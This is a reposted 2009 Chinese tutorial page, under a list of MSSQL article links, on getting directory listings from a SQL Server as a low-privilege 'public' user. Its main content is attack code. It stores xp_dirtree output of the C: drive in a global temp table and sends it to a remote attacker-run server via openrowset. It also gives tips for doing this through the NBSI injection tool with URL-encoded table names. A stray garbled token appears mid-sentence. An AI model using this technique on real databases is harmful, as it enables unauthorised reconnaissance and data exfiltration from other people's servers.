当前位置: 首页 > 图文教程 > 数据库 > MSSQL > Public权限下的列目录

MSSQL
精通数据库系列之入门:基础篇1
剖析SQL Server 2005查询通知之基础篇
用sp_lock诊断SQL Sever的性能问题
测试SQL Server业务规则链接方法
解析SQL Server数据应用在不同的数据库中
如何使用SQL Server数据库中查询累计值
逐行扫描 为你讲解几个基本SQLPLUS命令
教你一招:MSSQL数据库索引的应用
确定几个SQL Server栏中的最大值
SQL Server 2005分析服务 统一整合视图
如何使用SQL Server嵌套子查询
用TableDiff产生SQL Server同步脚本
小型商业应用选SQL Server还是Access
用SQL Server Having计算列和平均值
SQL Server 2005基于消息的应用程序介绍
在SQL Server实例之间传输登录和密码
SQL Server 2005深层工具和运行时间集
SQL Server数据库增强版备份体验
使用SQL Server 2000日志转移实现高可用性
浅谈Linq To Sql集成数据库语言的优劣

MSSQL 中的 Public权限下的列目录


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-30   浏览: 504 ::
收藏到网摘: n/a

  提起public权限的用户估计很多人也觉得郁闷了吧~N久以前看了一篇《论在mssql中public和db_owner权限下拿到webshell或是系统权限》的文章(名字真长-_-!!!),里面说到没办法利用xp_regread,xp_dirtree…这些存储过程,原因是public没有办法建表,我在这里矫正一下其实public是可以建表的,使这些存储过程能利用上,071088b104HaKX8E看下面的代码吧
  --建立一个临时表,一般的表我们是无办法建立的,我们只能建立临时表
  #-----为本地临时表
  ##----为全局临时表
  create table ##nonamed(
  dir ntext,
  num int
  )
  --调用存储过程把执行回来的数据存到临时表里面
  insert ##nonamed execute master..xp_dirtree 'c:\',1
  --然后采用openrowset函数把临时表的数据导到本地MSSQL 的dirtree表里面了
  insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select * from Northwind.dbo.dirtree')
  select * from ##nonamed
  以上方法,也就是说public可以遍历用户服务器的目录
  在NBSI中,只要把临时表名加前加##就可以了,但要注意URL转码,即写成:%23%23nonamed就OK了!